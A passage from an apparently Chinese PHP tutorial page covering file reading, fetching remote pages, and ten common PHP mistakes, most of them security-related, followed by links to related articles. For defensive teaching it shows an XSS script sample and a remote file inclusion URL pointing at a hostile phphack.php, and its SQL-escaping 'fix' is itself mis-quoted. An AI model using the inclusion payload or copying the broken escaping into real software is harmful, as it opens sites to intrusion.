print("<H1>Local</H1>n");
print("<HR>n");

// open a local file
if(!($myFile = fopen("data.txt", "r")))
{
print("file could not be opened");
exit;
}

while(!feof($myFile))
{
// read a line from the file
$myLine = fgetss($myFile, 255);
print("$myLine <BR>n");
}

// close the file
fclose($myFile);
?>

file_get_contents函数

 代码如下 复制代码

?php

file_get_contents('http://www.111cn.net/');

?>

抓取远程网页源码类

 代码如下 复制代码

<?php
 
class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port
    
    // scan url
    function _scan_url()
    {
        $req = $this->_url;
        
        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));
        
        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);
        
        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else 
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }
        
        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }
    
    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }
    
    // download URL to string
    function DownloadToString()
    {
        $crlf = "rn";
        
        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;
        
        // fetch
        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);
        
        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));
        
        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));
        
        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else 
        {
            return($body);
        }
    }
}
//使用方法
$r = new HTTPRequest('http://www.111cn.net');
$str=$r->DownloadToString();
 
?>
最近经常和初学的phper讨论php相关问题，发现他们都在犯一些同样的错误，这些错误也是我以前犯过的。现在我把这些常的10个错误列出来，大多数是php安全方面，方便大家学习参考。

1.不转意html entities

一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出：
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患，除非你保证你的用户都正确的输入。
如何修复 ：
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and ")，函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法：
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我 曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说，他们已经在php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！
如何修复：
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法：
<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候，服务器的输出都分成两个部分：头部和正文。
头部包含了一些非可视的数据，例如cookie。头部总是先到达。正文部分包括可视的html，图片等数据。
如 果output_buffering设置为Off，所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发，而在部署 到另一个环境中去的时候，output_buffering的设置可能不一样。结果转向停止了，cookie和session都没有正确的设 置........。

如何修复:
确保在输出之前调用http-header相关的函数，并且令output_buffering = Off 。

4. Require 或 include 的文件使用不安全的数据

再次强调：不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息，或执行一个PHP脚本。
如果allow_url_fopen=On，你更是死定了：
试试这个输入：
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。
如何修复：
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法：
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>

5. 语法错误

语法错误包括所有的词法和语法错误，太常见了，以至于我不得不在这里列出。解决办法就是认真学习PHP的语法，仔细一点不要漏掉一个括号，大括号，分号，引号。还有就是换个好的编辑器，就不要用记事本了！

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术，结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多，越来越好，我们没有理由不使用面向对象。

7. 不使用framework

95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事，我们为何不使用他们呢？

8. 不知道PHP中已经有的功能

PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual，在google上检索一下，也许会有新的发现！PHP中的exec()是一个强大的函数，可以执行cmd shell，并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4，在PHP4上开发不能充分发挥PHP的潜能，还存在一些安全的隐患。转到PHP5上来吧，并不费很多功夫。大部分PHP4程序 只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5，所以有88%的PHP开发者还在使用PHP4.


10.对引号做两次转意


见过网页中出现'或'"吗？这通常是因为在开发者的环境中magic_quotes 设置为off，而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本：
It's a string

magic quotes on :
It's a string
又运行一次
addslashes():
It's a string

HTML输出:
It's a string

[!--infotagslink--]

相关文章

  • 图解PHP使用Zend Guard 6.0加密方法教程

    有时为了网站安全和版权问题，会对自己写的php源码进行加密，在php加密技术上最常用的是zend公司的zend guard 加密软件，现在我们来图文讲解一下。 下面就简单说说如何...2016-11-25

  • ps怎么使用HSL面板

    ps软件是现在很多人都会使用到的，HSL面板在ps软件中又有着非常独特的作用。这次文章就给大家介绍下ps怎么使用HSL面板，还不知道使用方法的下面一起来看看。 &#8195;...2017-07-06

  • Plesk控制面板新手使用手册总结

    许多的朋友对于Plesk控制面板应用不是非常的了解特别是英文版的Plesk控制面板，在这里小编整理了一些关于Plesk控制面板常用的使用方案整理，具体如下。 本文基于Linu...2016-10-10

  • 使用insertAfter()方法在现有元素后添加一个新元素

    复制代码 代码如下: //在现有元素后添加一个新元素 function insertAfter(newElement, targetElement){ var parent = targetElement.parentNode; if (parent.lastChild == targetElement){ parent.appendChild(newEl...2014-05-31

  • 使用GruntJS构建Web程序之构建篇

    大概有如下步骤 新建项目Bejs 新建文件package.json 新建文件Gruntfile.js 命令行执行grunt任务 一、新建项目Bejs源码放在src下，该目录有两个js文件，selector.js和ajax.js。编译后代码放在dest，这个grunt会...2014-06-07

  • 使用percona-toolkit操作MySQL的实用命令小结

    1.pt-archiver 功能介绍： 将mysql数据库中表的记录归档到另外一个表或者文件 用法介绍： pt-archiver [OPTION...] --source DSN --where WHERE 这个工具只是归档旧的数据，不会对线上数据的OLTP查询造成太大影响，你可以将...2015-11-24

  • 如何使用php脚本给html中引用的js和css路径打上版本号

    在搜索引擎中搜索关键字.htaccess 缓存，你可以搜索到很多关于设置网站文件缓存的教程，通过设置可以将css、js等不太经常更新的文件缓存在浏览器端，这样访客每次访问你的网站的时候，浏览器就可以从浏览器的缓存中获取css、...2015-11-24

  • jQuery 1.9使用$.support替代$.browser的使用方法

    jQuery 从 1.9 版开始，移除了 $.browser 和 $.browser.version ， 取而代之的是 $.support 。 在更新的 2.0 版本中，将不再支持 IE 6/7/8。 以后，如果用户需要支持 IE 6/7/8，只能使用 jQuery 1.9。 如果要全面支持 IE，并混合...2014-05-31

  • MySQL日志分析软件mysqlsla的安装和使用教程

    一、下载 mysqlsla [root@localhost tmp]# wget http://hackmysql.com/scripts/mysqlsla-2.03.tar.gz--19:45:45-- http://hackmysql.com/scripts/mysqlsla-2.03.tar.gzResolving hackmysql.com... 64.13.232.157Conn...2015-11-24

  • 安装和使用percona-toolkit来辅助操作MySQL的基本教程

    一、percona-toolkit简介 percona-toolkit是一组高级命令行工具的集合，用来执行各种通过手工执行非常复杂和麻烦的mysql和系统任务，这些任务包括： 检查master和slave数据的一致性 有效地对记录进行归档 查找重复的索...2015-11-24

  • C#注释的一些使用方法浅谈

    C#注释的一些使用方法浅谈，需要的朋友可以参考一下...2020-06-25

  • php语言中使用json的技巧及json的实现代码详解

    目前，JSON已经成为最流行的数据交换格式之一，各大网站的API几乎都支持它。我写过一篇《数据类型和JSON格式》，探讨它的设计思想。今天，我想总结一下PHP语言对它的支持，这是开发互联网应用程序（特别是编写API）必须了解的知识...2015-10-30

  • PHP实现无限级分类（不使用递归）

    无限级分类在开发中经常使用，例如：部门结构、文章分类。无限级分类的难点在于“输出”和“查询”，例如 将文章分类输出为<ul>列表形式； 查找分类A下面所有分类包含的文章。1.实现原理 几种常见的实现方法，各有利弊。其中...2015-10-23

  • php类的使用实例教程

    php类的使用实例教程 <?php /** * Class program for yinghua05-2 * designer :songsong */ class Template { var $tpl_vars; var $tpl_path; var $_deb...2016-11-25

  • 双冒号 ::在PHP中的使用情况

    前几天在百度知道里面看到有人问PHP中双冒号::的用法，当时给他的回答比较简洁因为手机打字不大方便！今天突然想起来，所以在这里总结一下我遇到的双冒号::在PHP中使用的情况！双冒号操作符即作用域限定操作符Scope Resoluti...2015-11-08

  • 浅析Promise的介绍及基本用法

    Promise是异步编程的一种解决方案，在ES6中Promise被列为了正式规范，统一了用法，原生提供了Promise对象。接下来通过本文给大家介绍Promise的介绍及基本用法，感兴趣的朋友一起看看吧...2021-10-21

  • 使用jquery修改表单的提交地址基本思路

    基本思路： 通过使用jquery选择器得到对应表单的jquery对象，然后使用attr方法修改对应的action 示例程序一： 默认情况下，该表单会提交到page_one.html 点击button之后，表单的提交地址就会修改为page_two.html 复制...2014-06-07

  • PHP mysql与mysqli事务使用说明 分享

    mysqli封装了诸如事务等一些高级操作，同时封装了DB操作过程中的很多可用的方法。应用比较多的地方是 mysqli的事务。...2013-10-02

  • Postman安装与使用详细教程 附postman离线安装包

    这篇文章主要介绍了Postman安装与使用详细教程 附postman离线安装包,本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值，需要的朋友可以参考下...2021-03-05

  • Python运行提示缺少模块问题解决方案

    这篇文章主要介绍了Python运行提示缺少模块问题解决方案,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-05-10